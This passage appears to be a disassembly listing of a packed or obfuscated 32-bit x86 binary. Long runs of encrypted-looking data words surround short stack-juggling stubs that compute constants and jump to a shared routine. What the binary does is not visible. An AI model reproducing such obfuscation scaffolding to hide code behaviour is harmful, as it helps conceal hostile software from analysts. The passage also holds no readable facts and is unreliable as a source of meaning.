3B1FE3D2h, 0DEFECE1Ch, 0F150AB7Ch dd 123C1091h, 2145D751h, 3A618AA5h, 0D736D02Ah, 2303F7C2h dd 3A618AA1h, 9B13D024h, 3A618AEFh, 52261A60h, 0DAAE91EBh dd 0D7AB3A7Ch, 9E0786D2h, 4ABBB895h, 0D1B80C39h, 5B0589C4h dd 0D9C44C59h, 0F855F3CEh, 5D4892AFh, 4B8F734Eh, 0F3EDA9Dh dd 3A2C3688h, 0FEh, 760D6FC2h, 0FF1140E4h, 0A49EBD9Eh dd 211C69D0h, 0F5C0D532h, 724F5801h, 0D7D6D08Eh, 0BE8E52Eh dd 35C36089h, 5D492Ch, 6F970000h, 5BE5770Ch, 0C36D54AAh dd 941D0733h, 0C81268C3h, 4EF8C7DDh, 64CB70FAh, 0A153500Fh dd 82E6D127h, 0CDF49064h, 26753C6Bh, 0A1F6A72Bh, 0EDD82D9Ch dd 6865BF19h, 0EBFA3C16h, 8953E8B3h, 6BCD3165h, 55AA5B3Ch dd 289CABFDh, 0F956F0D4h, 0FE60AE5Ah, 1276BAF7h, 7832C1h dd 0BD5A0000h, 969E4A50h, 93F7CBBFh, 613DEB2Fh, 83C1DB1Bh dd 6373FC13h, 1849DD0Fh, 55BD9FF0h, 0E730996Dh, 0EFF09EAh dd 347CB0Ah, 221F68E5h, 0D7C9965Eh, 90C03A61h, 0AE9BEC15h dd 8893E9B5h, 0C2BACA62h, 0CD354473h, 0FD02F379h, 0D22726C0h dd 0F7C675E7h, 471DDD5Dh, 0AB56BA54h, 0F686DCE9h, 1777FF6Dh dd 984E65EEh, 5D726479h, 45C6BDC9h, 0FC8322Eh, 50B42555h dd 0D6F7583h, 360D1580h, 82C60E42h, 5C3941Dh, 8113D93Dh dd 0ADC10E14h, 0C3941DD9h, 8C7054AEh, 0B6D69E48h, 39BD8608h dd 0B1A41BC1h, 89A8138Fh, 70D931DFh, 0DCC92A27h, 0DA0AFECBh dd 99AFF67Eh, 58414C66h, 4E1724Fh, 0A714C6F3h, 0C8C6FEFEh dd 5A778202h, 0ACBE92F6h, 83324C38h, 51FFC356h, 0CB0A10F9h dd 6B1F9721h, 91568332h, 8332691Dh, 3B84FE56h, 342129C7h dd 7F88717Ch, 85179142h, 83326561h, 0F305EA56h, 381C70C4h dd 0DFEA3F0Eh, 3946Bh, 843C0000h, 0FDD4DE9Ch, 7A57A009h dd 0E6D12796h, 6F52AB12h, 0D7EE329Bh, 5F66BA63h, 0C5FC02EBh dd 40798871h, 0CFFA0DFCh db 7Bh, 0CFh ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push 72F2h mov [esp], eax push 61ACh mov [esp], edx push edx push 3A5C5EA1h pop edx dec edx sub edx, 344A2797h mov eax, edx mov edx, [esp] add esp, 4 push 3678h mov [esp], esp add dword ptr [esp], 4 pop edx push eax add dword ptr [esp], 5CD313E1h pop dword ptr [edx+8] push eax mov eax, 651146E0h not eax sub eax, 3742024Eh dec eax sub eax, 6D9A2EFh sub [edx+8], eax pop eax mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp jmp loc_543FDB ; --------------------------------------------------------------------------- db 4Ch dd 8FA9DC78h, 77520CECh, 0C32CC656h, 3B6EB8BDh, 0C5030612h dd 52D6E0FFh, 6C9756CFh, 30AE24EEh, 7844114h, 50152638h dd 8ED62E0Dh, 0A05B22CAh, 0ED877B5Eh, 2D432BD5h, 1B391F84h dd 15517ABAh, 1C90315Ah, 1BF215FBh, 0BA752A30h, 0F189084Ah dd 56626533h, 746B0FA4h, 0CF5550ABh, 445C2588h, 0A76A23D2h dd 3A0D264Ch, 99D910A3h, 0CDE95DDDh, 0CF9B6868h, 0B3993A7Ah dd 422675A1h, 58B30397h, 775490Ah, 0B8C07379h, 225B0191h dd 8D8D2625h, 6123D5Bh, 0E860Fh, 89600000h, 0B05AD85h dd 65B52306h, 61060B2Ah, 174D8D89h, 6A060Bh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 190424h, 55450000h, 528FEFC3h dd 0C7ED27A8h, 0B011985h, 5D1406h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 85C7B41Eh dd 60B1009h, 0 dd 3365B58Bh, 0B5FF060Bh, 60B2705h, 0E852006Ah, 3, 5AC35A20h dd 4245489h, 4244481h, 1Dh, 0E9C35242h, 0B06A41h, 891A4352h dd 3800FF9h, 80000000h, 0BD3111F3h, 60B0FB5h, 0AC595FFh dd 0E281060Bh, 3EE7F7EEh, 95FF006Ah, 60B32DDh, 6BEBC08Bh dd 3EA10E7Ch, 0A8EE9A81h, 5EC837B3h, 94DB3696h, 6393804Eh dd 0F057B7B1h, 300A3A7Eh, 8F0E823Eh, 0E7FC7A7Bh, 675A107h dd 0BB4F5D4Bh, 79B14D43h, 0A8E50E98h, 51C459F0h, 0D71F07F5h dd 0D97FE656h, 20147FCBh, 0D997F7C2h, 0DA674033h, 0FF4EAD6Bh dd 0FAE7B94Eh, 7CCD8D7Fh, 6CCF1AB1h, 0CADA6482h, 0FE480086h dd 526D3610h, 0EB83364Eh, 8757AF04h, 512E97Ch, 0FE080000h dd 0A4F31CC7h, 52A14E95h, 0F30BE47Fh, 0A2F617CCh, 0EAF14093h dd 2D360913h, 5D86BBC0h, 8A6964B0h, 263D081Dh, 0EB9F17D5h dd 7CC58620h, 0D5DE178Dh, 5FA514F8h, 112F360h, 8C994034h dd 91CCDB1h, 93E55438h, 1E69D0A4h, 0A7E15F23h, 267C5426h dd 0EE357EA7h, 941D0246h, 44E8C3h, 87C3941Dh, 0E408C4B3h dd 0C3941DE0h, 0DB3F1367h, 0AE99EF18h, 0B9CA3BB5h, 4B51388Ch dd 684C8074h, 0C4FAF0AFh, 0CE78C421h, 0AA1E297Fh, 112C75A0h dd 3C0116F7h, 0A598E148h, 2E1368D1h, 0B5306A5Ah, 69643CD9h dd 0B8CC7480h, 4B50398Dh, 6A4E8276h, 0F700ED76h, 39E476DAh dd 0A232DCE3h, 0C3945C23h, 0FC1491EBh, 3241324Dh, 5764h dd 33BD8000h, 0BD7B0F8Ch, 2F2795E8h, 0C3948D5Bh, 1A350D2Ch dd 0D944BA87h, 300114E5h, 6FDE084Ch, 8B5B2F1Ah, 0C394DDF9h dd 9A6E7F35h, 3241B173h, 15Eh, 0D7DEA600h, 0BAC416FAh dd 941D5632h, 47E1D9C3h, 3E82BFC6h, 8408374Fh, 0AE57564Ch dd 1C896A67h, 0DF253E0Bh, 17FBDADEh, 9E625FA6h, 3EE7E620h dd 0EF18DBFAh, 72DBAF9Ah, 0D5C02A27h, 0C3078BC6h, 88282D25h dd 0F356877Dh, 6F533240h, 0C9000000h, 4FF9C4DCh, 0DDADEE9h dd 941DED99h, 0FF1862C3h, 523E88A6h, 0C9BD9113h, 49E31160h dd 49FD4B99h, 448C7054h, 842077A6h, 9EF24673h, 9B2A8CBAh dd 0CC172E72h, 12E6D923h, 986C53ABh, 5AAE3F65h, 3241CEA3h dd 438Eh, 0A5F32200h, 0FADEE93Fh, 2E143216h, 17FBDADEh dd 0ADBC5EA6h, 656FFFD8h, 0CFFA0FFEh, 0D60267EBh, 0EBEA2ED7h dd 0D7DE8808h, 0D9C416FAh, 0CB0FF3CEh, 1D38491Dh, 0B8F2C394h dd 0F136D72Dh, 1133240h, 0FD000000h, 0AFED3DEh, 0F17B56A3h dd 262B964Ah, 6EA9254Ah, 6FE27BCAh, 0F058F671h, 59BE4F45h dd 0B2EC774Ah, 638B51EAh, 0BD9E5C16h, 0AE1FE3D7h, 1A8B6865h dd 98483C09h, 3A6160EAh, 5D21186Bh, 0DBAF96ECh, 176B7A3Eh dd 8C9F0E12h, 60A7234Bh, 0D2283A61h, 0B8B141FEh, 0A99F42EBh dd 43A8257Fh, 0B4898E36h, 11628350h, 368F9EFFh, 8876386Eh dd 0E9062C24h, 0A115096Dh, 2E92AFF8h, 5041FE70h, 0DBF202A5h dd 0A807613Ch, 40A9247Eh, 4FD91A37h, 7FDDA93Dh, 68523A61h dd 52AD5CBEh, 5B842C36h, 60000001h, 0E4760D6Fh, 9EFF1140h dd 0D0A49EBDh, 0ADFA1C69h, 0FE6D373Ch, 7AAB48ACh, 477A8929h dd 510C44F3h, 5C542DB0h, 0C9B00478h, 0C95B81BCh, 60A721A5h dd 0B25CA63Ah, 0AE99EF5Eh, 162973DAh, 701498A2h, 0F73A60A7h dd 7C89A383h, 7372B402h, 9E4C798Ah, 447B4821h, 153341A4h dd 0D027D652h, 0F391DE1h, 3513FC2Dh, 4AD52Ch, 56470000h dd 1B6F8740h, 0EC3A6032h, 0AE94B296h, 0E5770C6Fh, 941D5541h dd 7AE0DAC3h, 1D0044E8h, 0B387C394h, 0D1B5BD95h, 0C3C3941Dh dd 0A954DCE9h, 57D4635Eh, 0A77B55C6h, 2B704CFAh, 76A2CA10h dd 0F9C394BBh, 0A7A35281h, 0CD000000h, 0E4760D6Fh, 9F052140h dd 27B1C3BDh, 60CBFB8Fh, 0FE764C3Ah, 3A60CB8Ah, 0C0B251Dh dd 0D9B72436h, 5964C369h, 0D4858DBBh, 806DF6C3h, 65905A77h dd 307211Ch, 60B39C23h, 0E7DA233Ah, 6C59AA13h, 0E9E43E98h dd 45409095h, 0E57E4B5Ch, 9258E3B9h, 72BFA71Ah, 0FE42B844h dd 3E4AE26Ch, 0F130766Dh, 28B05034h, 0FE05F1Ah, 38D6CAF5h dd 1F5C0D5h, 59119C14h, 6F5AAD43h, 0A9DD519Bh, 3E30760Dh dd 5E8CE0C4h, 64017BD6h, 2374A14Eh, 24A0C416h, 0AB2E5BCEh dd 0BB5AB957h, 2973526Fh, 0D16EA216h, 9EF2FD8Bh, 0D6FBF45h dd 0CD40E476h, 42BD8611h, 0D0259478h, 84917EE5h, 2B6DC549h dd 0BB3ECEAh, 1A6F9411h, 0A89E3D2Fh, 51333CC0h, 65E9D82Fh dd 4023CD21h, 435097C4h, 8A889394h, 71C5F403h, 91AF31Dh dd 99E1483Ch, 0B9ACD84Ch, 0DF23BCCCh, 0AEEA17FBh, 90ADF61Fh dd 6451A243h, 113F90h, 0BD590000h, 0EBCFEF1Eh, 0F9DDA198h dd 0E14CA25Eh, 0DEA49C47h, 0A009FDD4h, 27967A57h, 0AB12E6D1h dd 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh, 0DFC4079h dd 0CF7BCFFAh, 815D5455h, 4C5h, 4ED8300h, 5C242C87h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ebx push ebx mov ebx, esp add ebx, 4 sub ebx, 4 xchg ebx, [esp] pop esp mov [esp], eax push ebp mov ebp, 24FB0DE8h or ebp, 1B64717Bh sub ebp, 17B87FBDh inc ebp sub ebp, 1F2297B4h mov ebx, ebp pop ebp not ebx add ebx, 2311AAEh xor ebx, 0FF1E89F4h sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop eax push 2685h mov [esp], ebx pop dword ptr [eax+8] mov eax, [esp] push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp] pop esp push dword ptr [esp] pop ebx add esp, 4 jmp loc_543FDB ; --------------------------------------------------------------------------- dw 0E755h dd 37E01506h, 0A1F6E66Fh, 2A91B856h, 12423CB8h, 0FFC50306h dd 7D4084E0h, 305B1E41h, 0AA904367h, 0BC64463Ah, 8C4B003Eh dd 1B31087Dh, 0A496C74Eh, 81210F71h, 9C8B8D3Dh, 1D1DDD01h dd 4A12A20Eh, 9EC01F0Ah, 0E7EED817h, 875D9C77h, 86EB661Ch dd 0CA4CE749h, 544FC101h, 2DD50976h, 9850E423h, 0E4F0951Fh dd 149F4714h, 6B6AC43Eh, 0AA323702h, 0A85D2301h, 8EDE1C4Dh dd 949D9040h, 3B04EB64h, 0E91CC8B7h, 573h, 825168BAh, 3C271265h dd 6A89C0D3h, 855E65BDh, 362D1068h, 7F85588Fh, 2D729340h dd 0D222C310h, 7A8F78FBh, 8567944Fh, 865E6561h, 0A51BEAC5h dd 0C3721EBDh, 38AFD92Ah, 0DCCEBA32h, 7941C394h, 8D357ECFh dd 84F84C7Bh, 176DDCA0h, 0C9DACB28h, 54A108FCh, 0DAAE9BECh dd 0AD5882E6h, 40D16E55h, 6EDC7CD3h, 0C715FD2Bh, 56AB8E98h dd 5A97820h, 0C394D341h, 6E98FCC6h, 0D5B9889Fh, 0A226A7FDh dd 0FA142B73h, 28CB0613h, 459EA9FFh, 0A3F45CA8h, 8AEE2296h dd 2AA3406h, 0C394D346h, 0F657F1C9h, 0D289CA1h, 87917677h dd 297AAB48h, 0F94D7089h, 15DDA185h, 0C394D374h, 13E9E4BEh dd 3241BEFAh, 5DD7h, 0D5DE3100h, 0C92D186Dh, 1D9FED45h dd 5D57C394h, 0F091B850h, 1B83240h, 44000000h, 94450BDh dd 2A276EDFh, 106994A6h, 0FB0A032Dh, 8D71485Bh, 38E15549h dd 0A3F825E2h, 1ED62A9Eh, 0C3941D6Ah, 0DDA185FDh, 30C877F5h dd 0D9869C13h, 4441638Dh, 0FA79485Fh, 4C58F80Dh, 55498D71h dd 0DADE768Eh, 96C517FBh, 2A5F7E5Dh, 0CBD0B904h, 0A2F558F6h dd 33752397h, 7EB12EB2h, 0CFB93689h, 0FD070620h, 0A3F411C2h dd 0ED182296h, 2CA97595h, 8FD1680Bh, 45E327ABh, 9E5BB9C8h dd 5FA50EF0h, 0B564E8CCh, 3DEC506Fh, 8475D9E4h, 98FC4071h dd 0D4A6277Dh, 0AE626331h, 3241986Fh, 7FBAh, 0A43600h dd 0C394B144h, 0E359F7CBh, 0CFBB33BDh, 40C3941Dh, 3B41CC7Ah dd 0BAC9B004h, 0D9D33387h, 0E2DD27CCh, 248C9471h, 102F77DFh dd 8574D83Ch, 0CF5F9D7Dh, 756B0E75h, 8A8AD11h, 95D607FDh dd 0D9C43241h, 8D54F2C1h, 6Bh, 4550BD6Bh, 0A24C8074h, 9A6E51ABh dd 297FE533h, 7256AA1Eh, 77816B8Eh, 1D0541E5h, 0B08AC394h dd 941DD4B0h, 0AEF25BC3h, 8BEF2397h, 0A54A5B5Dh, 5F3605Fh dd 70FAD7DEh, 1D3A4EE6h, 0B58DC394h, 0CEBFB79Bh, 51C3941Dh dd 0B891E048h, 0F309F044h, 0FF2578CCh, 2E649CEEh, 9FE8159Fh dd 4CFADEA2h, 40F13BD2h, 11632h, 0DEFE0000h, 0C00AFED3h dd 56F0CFD5h, 4597A2F7h, 0D6704958h, 0C0CDC772h, 62F1C8DBh dd 9D36834h, 9EFC90E5h, 0FF6D55BDh, 0C08DF96Dh, 38023A60h dd 46533A0Eh, 0DF57E10Bh, 3A60C0ABh, 7649533Ch, 0BC6A4E82h dd 7AB9CA3Bh, 60C096F2h, 320D173Ah, 0B58D0A4Eh, 745ED51h dd 323A60C0h, 0B05DE7E6h, 0ACE05465h, 437E8B82h, 628A1490h dd 3A60C066h, 967791E9h, 18AAB08Dh, 0C062668Eh, 9DE53A60h dd 60C03155h, 32BAB63Ah, 3A60C056h, 638DE1D9h, 6BB05DEFh dd 4055B856h, 0DDD78175h, 15DE2BD0h, 60C0F591h, 1520743Ah dd 0E77C50AAh, 35CDF415h, 162DD2Ch, 6F3B0000h, 40E4760Dh dd 0BD9EFF11h, 0EFE2319Eh, 7FC3271Bh, 0AB48858Eh, 42EA297Ah dd 3A60CF06h, 6E2826C9h, 6F12692h, 0E312D83Ch, 0BB8FB990h dd 0F4C1D2h, 887C4359h, 16FAD921h, 0B65F6EA8h, 0A9ED5160h dd 3CC9CBB5h, 6CF7C2D7h, 35337990h, 5C502Ch, 6FBC0000h dd 5BE5770Ch, 941DB7D3h, 24C238C3h, 1DF6224Ah, 179C394h dd 891DAFBDh, 0C3941DFDh, 7B810872h, 729CF044h, 941DE6E2h dd 201F67C3h, 0AC9BED5Ch, 0A9247ED8h, 28A5FFD5h, 0C8122972h dd 941D70A4h, 5083F7C3h, 565367D4h, 8D951F79h, 0D6610A0Ah dd 0F711A0E2h, 0B300h, 50BDA800h, 7087764Bh, 6F99FD41h dd 24364D2Fh, 9F05E180h, 0A0146EBDh, 0D74AACF9h, 7687E5EEh dd 8461F2D6h, 0A944673h, 60B2E6E2h, 0F711693Ah, 0B38CD313h dd 95873A60h, 9BCD3926h, 7997FD60h, 3C49AE3Fh, 52B68394h dd 0BCC7D581h, 8F1D06AEh, 146E4471h, 4ACF9A0h, 1C70C4F5h dd 96E55438h, 1B66D7BBh, 0A2E45226h, 71159923h, 0F6307612h dd 0DF6DA88Ch, 3FE9E82Eh, 6A326865h, 12FB8F27h, 3C423076h dd 6C40BA05h, 0D34D76FEh, 0A2534E67h, 49C6605Dh, 0F77C9EE4h dd 8E0BA5C3h, 0C812766Ah, 8FCCBDDh, 0CF591A34h, 0BFFD6DEh dd 926653A2h, 0B6AC5ABEh, 0E4760D6Fh, 85DC5B40h, 1AEED4BDh dd 90166BD0h, 0E85D1EA6h, 0F8DCA099h, 96E36A84h, 0F6EAE72Eh dd 17CE36Dh, 3C11D364h, 1A6FDE08h, 0EB5F66BAh, 0E3C7FE02h dd 0C4313B8Fh, 0DD3185B0h, 0E53EA722h, 0D07E671Fh, 0A38D5304h dd 5C694353h, 8C5762B7h, 573B1663h, 0BBA190E6h, 8408354Ah dd 9CA3F940h, 0D63AD428h, 53271267h, 24A895EAh, 4539B4EEh dd 4EDF8B8h, 0F01DC6F3h, 6126AAA7h, 3, 0DE9C848Bh, 0A009FDD4h dd 27967A57h, 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h dd 8871C5FCh, 0DFC4079h, 0CF7BCFFAh, 57E68956h, 4BFh, 5FFE0100h dd 8704EE83h, 685C2434h, 5CD5h db 89h, 1Ch, 24h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], edx push esi mov esi, 310F792Dh dec esi xor esi, 371D3A48h mov ebx, esi mov esi, [esp] add esp, 4 push esp mov edx, [esp] add esp, 4 push ecx mov ecx, 8 add ecx, edx mov [ecx], ebx mov ecx, [esp] add esp, 4 push dword ptr [esp] pop edx add esp, 4 push dword ptr [esp] pop ebx add esp, 4 jmp loc_543FDB ; --------------------------------------------------------------------------- dw 8A23h dd 18BB76DEh, 0B8C8927Eh, 6124858h, 0E0FFC503h, 19AD8174h dd 5F42988Dh, 6B4A24E4h, 141EC89h, 4D866753h, 6BA76F3Dh dd 2BD2CA1Ah, 16344403h, 60416705h, 198C8DA5h, 27213D35h dd 0E7F01B9h, 1BBA38FCh, 54901ACh, 40C63D80h, 466F841h dd 16BBFFA3h, 2DA9B6F4h, 531848DDh, 0FDEA04EBh, 45E90697h dd 0E9000005h, 50BDA69Dh, 3EEF7445h, 0E805DEF3h, 57B0A392h dd 52E1724Dh, 95A8F00Bh, 6558A14Eh, 0C80711FEh, 9CA9FA2Bh dd 3EB6BA47h, 0C586544Ah, 13826EDDh, 0D740340Bh, 0FFC485E0h dd 42206FEh, 4150BD1Eh, 1A6FDE08h, 0AEF25B2Fh, 56A34C97h dd 0F004F17Bh, 0F31D71C5h, 6865AE1Fh, 0D7E235E4h, 0FC092363h dd 2C370217h, 0CA2C75A0h, 0E93CE29h, 0CB11752Eh, 94FD27A3h dd 0B452A8C3h, 0E3704F59h, 0B92DF202h, 0C394FDCDh, 0B0047842h dd 398DB0C9h, 860A4750h, 0DF1C0D7h, 79159010h, 20C9C4DCh dd 8D7AF9D4h, 69F94D78h, 0C394FD18h, 37CDD8D2h, 3241D116h dd 8533h, 0D5DEDD00h, 0AEDC14F8h, 66C3941Dh, 0A41BA12Ch dd 90CBE8C9h, 0F175E7EAh, 0C3945E95h, 1406201Ah, 324133F5h dd 1DCh, 0D7DE3800h, 64812821h, 48AC1455h, 292073A2h, 43C761A5h dd 0ACBE8B9Ah, 0F0A9BC0Fh, 2F47E052h, 0C394315Bh, 0BF2D62Ch dd 67ACEF1h, 65DA60E8h, 4CE044C7h, 0C3943538h, 6F8C4B8Fh dd 88FC70B9h, 1FC3948Ah, 2429C73Bh, 3313E7DEh, 0F007ECF9h dd 679612C1h, 795D2110h, 18357ECFh, 0DADE3DDBh, 5FA617FBh dd 0E6209E62h, 0DBFA3EE7h, 472F8C18h, 43567D3Eh, 899A739Dh dd 1261C8BCh, 0BA32D3Fh, 0C394FB7Fh, 0F45C8AF0h, 4E424351h dd 3241D88Fh, 679Ah, 0DADE6200h, 708471FBh, 95A7AB45h dd 592D1068h, 3742CB65h, 8C5EB61Ah, 0A241B61h, 0ACF41DA8h dd 4F5A4B91h, 0F213D472h, 7A2397AEh, 94A91D24h, 0D20B810Ch dd 0DF3240F2h, 43h, 0DDADE39h, 941DED99h, 0B11862C3h, 0A1E56964h dd 0F8209F4Dh, 8865D493h, 2F9E729Ch, 71AEED9h, 0D12BD0DDh dd 0AFB75EEh, 3A20CEFBh, 16FAD7DEh, 941DAFDEh, 0A02D67C3h dd 40F0C168h, 1E832h, 0DE740000h, 0A30AFED3h, 6A977B56h dd 2B769F2Eh, 3143CD16h, 941DC9BDh, 1A925EC3h, 0C3941D6Eh dd 8BA599E1h, 3D476933h, 665ABE02h, 0FC6570F4h, 76A7BD9Eh dd 16F51322h, 0A4F1582Ch, 0CF3E4AA9h, 0C00488B7h, 0E7D22726h dd 0C0B1D313h, 0EF343A60h, 67BF6ED2h, 0C04206AEh, 0FDC53A60h dd 0A0F03599h, 0C546925h, 45E97B81h, 3A60C001h, 0A983BC86h dd 0B08CEB76h, 0BFC845E3h, 63B45182h, 0CE58E256h, 90D05491h dd 3F37AAD0h, 3A60BF4Bh, 0C548E6DCh, 483185B0h, 0D0B90D30h dd 0E2078BCAh, 0FD5B37B6h, 0B0C52ABBh, 8BA25E85h, 0A62C3592h dd 159h, 0BB33BD4Eh, 0C3941DCFh, 0F0CC7A40h, 0C6F302ACh dd 85F478E2h, 7BD9EFFh, 92BC8196h, 10F94DB5h, 9F29CA07h dd 0A495E00Dh, 60CFD8ACh, 0DEAAC23Ah, 513A60CFh, 7A94EE69h dd 0A14B8693h, 0CFEB9F17h, 67C3A60h, 48DA60E8h, 60CFA024h dd 0ECD3293Ah, 675B2418h, 0DD3344C9h, 16FE14AEh, 8D7155B4h dd 678F19D3h, 3A608063h, 36709EE4h, 8454EB7h, 42EA33E2h dd 5F23073Eh, 806D198Dh, 98E23A60h, 2FE98AA4h, 2C358DFEh dd 382Bh, 0C6F3500h, 5541E577h, 0DAC3941Dh, 0B0D41CE0h dd 0A2C3941Dh, 75405540h, 1A34D81h, 0B6CDAE84h, 1D1400A4h dd 271BC394h, 9FC53Ch, 891B0000h, 6BE26165h, 729CE63Ch dd 760D6F8Ch, 52140E4h, 54AEBD9Fh, 53AB5AE0h, 8AA4986Ch dd 915B7683h, 54251064h, 13D4724Fh, 2094A1F2h, 60CA7F00h dd 9F2E4A3Ah, 67638B15h, 0E83A60C8h, 0B7E10D49h, 1377AD08h dd 320F18F5h, 1C277521h, 750591CEh, 0B2AF33BFh, 5C52DA94h dd 0EF447153h, 0A1970B70h, 3F13E1CCh, 0A491E24Bh, 0C48024B6h dd 4B307679h, 0C471D977h, 4ABBC1CCh, 56DE0C39h, 30767932h dd 1BA34DB5h, 0FC70FA81h, 4E6782E2h, 2EDF0D75h, 0E97DEFE6h dd 2E44069Dh, 65FE2812h, 760D6F9Fh, 5CAB5AE4h, 0B9849C6Dh dd 0E6E9C78Fh, 7ABD85h, 8DB8CDBCh, 0A76CB956h, 0D2122F76h dd 3A79AAB6h, 19EDC139h, 0FC3BBAC9h, 7F8EA43Dh, 0DF258D96h dd 0B6578CE0h, 84B3C56Dh, 156DDCA0h, 0C4D13C2Eh, 4EEB5F89h dd 8A31BB4Ah, 3DB13E30h, 3AFCC949h, 455BE4DEh, 0BDB34C0Eh dd 8C1CFF23h, 4750BD6Bh, 0E635E00Ah, 4DBA3DEBh, 0BC8D9838h dd 61A46383h, 766AC113h, 0D2E139E4h, 14FC2A6Eh, 0AB3h dd 50BDDD00h, 40840841h, 0DE07FDA6h, 0A009FDD4h, 27967A57h dd 0AB12E6D1h, 329B6F52h, 0BA63D7EEh, 2EB5F66h, 8871C5FCh dd 0DFC4079h, 0CF7BCFFAh, 81E38953h, 4C3h, 4EB8300h, 31241C33h dd 1C33241Ch, 89515C24h, 4C181E1h, 83000000h, 0C8704E9h dd 2C895C24h, 48926824h, 0C890000h, 3685224h, 5A27B037h dd 2217B951h, 81491FB9h, 0D34D38C1h, 59CA2127h, 6E35F281h dd 0D5890192h, 5599685Ah, 24890000h, 24048324h, 89505904h dd 84189E8h, 8124048Bh, 4C4h, 240C8B00h, 81E28952h, 4C2h dd 4C28100h, 87000000h, 0FF5C2414h, 835D2434h, 0C8E904C4h dd 5FFF930h, 140BD5Fh, 0D471C9FAh, 0B0AF69F7h, 124DE0B8h dd 0FFC50306h, 4D24B9E0h, 1BC1056Ah, 695B737Dh, 8D972565h dd 6CE9613Fh, 3FFE4203h, 439F2024h, 6279E06Dh, 7791480Eh dd 314F5E34h, 0F485165Eh, 205BE033h, 0C1F72E1Dh, 0E6CBC80Eh dd 7EE7F29h, 0F61D4B6Bh, 1C5E6403h, 1328CD38h, 656DED3Dh dd 5E80810h, 2B5B0A71h, 3D716600h, 341EB53Ah, 81360E59h dd 445BF815h, 10EB0Ch, 3 dup(0) dd 8B000000h, 0D08B66C0h, 5BDBD83h, 7500060Bh, 0D1BD8309h dd 60B29h, 53501974h, 2DB8C08Bh, 89000004h, 0B2A3585h dd 1A9D8D06h, 0FF060DB3h, 83585BD3h, 0B29D1BDh, 17740006h dd 2DB85350h, 89000004h, 0B2A3585h, 99D8D06h, 0FF060DB0h dd 89585BD3h, 0B20818Dh, 85BD8906h, 66060B16h, 0C08BD78Bh dd 0B91B589h, 8D8B060Bh, 60B0E41h, 83D0B70Fh, 840F00F9h dd 7Eh, 0A3A9F681h, 8B645929h, 2C3Dh, 56006A00h, 3E8h dd 0C35E2000h, 2474895Eh, 24448104h, 1504h, 0C3564600h dd 0AE936D2h, 0C9000000h, 0C9C4912Ah, 491EA6Bh, 0FFF0B84h dd 3D84h, 6E800h, 22170000h, 75798492h, 7E9h, 0A9A47E00h dd 37EEC307h, 663F8B5Eh, 236E2EBAh, 0B06A9B5h, 0E8C03206h dd 8, 2AB32DA0h, 0F322BE63h, 0F35EB4B6h, 0D68166AAh, 49358846h dd 6A535041h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1B042444h, 43000000h, 0FBD0C353h, 68A0988Bh, 958B0CCAh dd 60B1375h, 284585C6h, 6A47060Bh, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 8788C352h dd 0F7E537A6h, 1771BD89h, 5A68060Bh, 50BFD9B7h, 8E852h dd 447A0000h, 9413990Eh, 6160F6A6h, 60310F5Ah, 860FB3B7h dd 0 dd 81585A61h, 0D0D22404h, 9BB61CFCh, 1355B5FFh, 8E9060Bh dd 92000000h, 423B1F7Bh, 8DC2EA82h, 0E7D1885h, 0F3BF0F06h dd 830FD0FFh, 6, 9498589h, 8166060Bh, 899C17C2h, 0B05D985h dd 0D8D2906h, 31060B0Eh, 0B040995h, 4585C606h, 53060B28h dd 209958Bh, 8768060Bh, 8AC78240h, 243481F0h, 4F1A2A7Bh dd 197D9589h, 0B70F060Bh, 55B5FFD3h, 0BE060B13h, 6DD3459Eh dd 8D8D89h, 858D060Bh, 60E7D18h, 14B59D89h, 0D0FF060Bh dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 62C35141h dd 0F363F595h, 894B3A79h, 0B089185h, 8DD38B06h, 0E3ECA85h dd 16850F06h, 0E9000000h, 11h, 0E3FF9922h, 76303233h, 0A2CB06F5h dd 6D4E6BCDh, 0BD85899Ah, 0E8060B1Bh, 10h, 5C56AD43h, 59830FBDh dd 56C58865h, 9CA44304h, 3121958Bh, 6A5E060Bh, 0FFFF6A20h dd 0B1BBD95h, 41493506h, 85C75350h, 60B1611h, 1, 1585C7h dd 60Bh, 95890000h, 60B22E9h, 0DE9h, 49B13D00h, 0F2B45B6Dh dd 0B67DBC91h, 0BD834607h, 60B2715h, 63840F00h, 6A000000h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 7385C356h, 663693A5h, 858BF78Bh, 60B0925h dd 64D38B66h, 0A3h, 0DE816600h, 858B6630h, 60B32B5h, 293D9589h dd 0E08B060Bh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 14h, 0EEC35343h, 0BD836BB6h, 60B08D1h, 62850F00h, 0F000004h dd 482h, 7FBE6600h, 4585C6C4h, 56060B28h, 0E850006Ah, 3 dd 58C35820h, 4244489h, 4244481h, 1Ch, 3C35040h, 396C1C7Fh dd 0DC2C3934h, 0EE9h, 0F1DB00h, 0D28ED1CDh, 82FDFEDFh dd 0F7D100Bh, 0D368D3BFh, 606F0BB9h, 0D9D7BA66h, 24048161h dd 3AB9770Ch, 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h dd 18h, 0EDC35545h, 393E89D9h, 10E8h, 9EC6A800h, 6781F523h dd 96ECB945h, 3BD8D4C4h, 219D89E5h, 5A060B09h, 1355B5FFh dd 0B52B060Bh, 60B1A2Dh, 7D18858Dh, 23F8060Eh, 0B0D9D95h dd 0E8D0FF06h, 6, 80E852Bh, 0B58B4395h, 60B1145h, 5E50905Eh dd 66525050h, 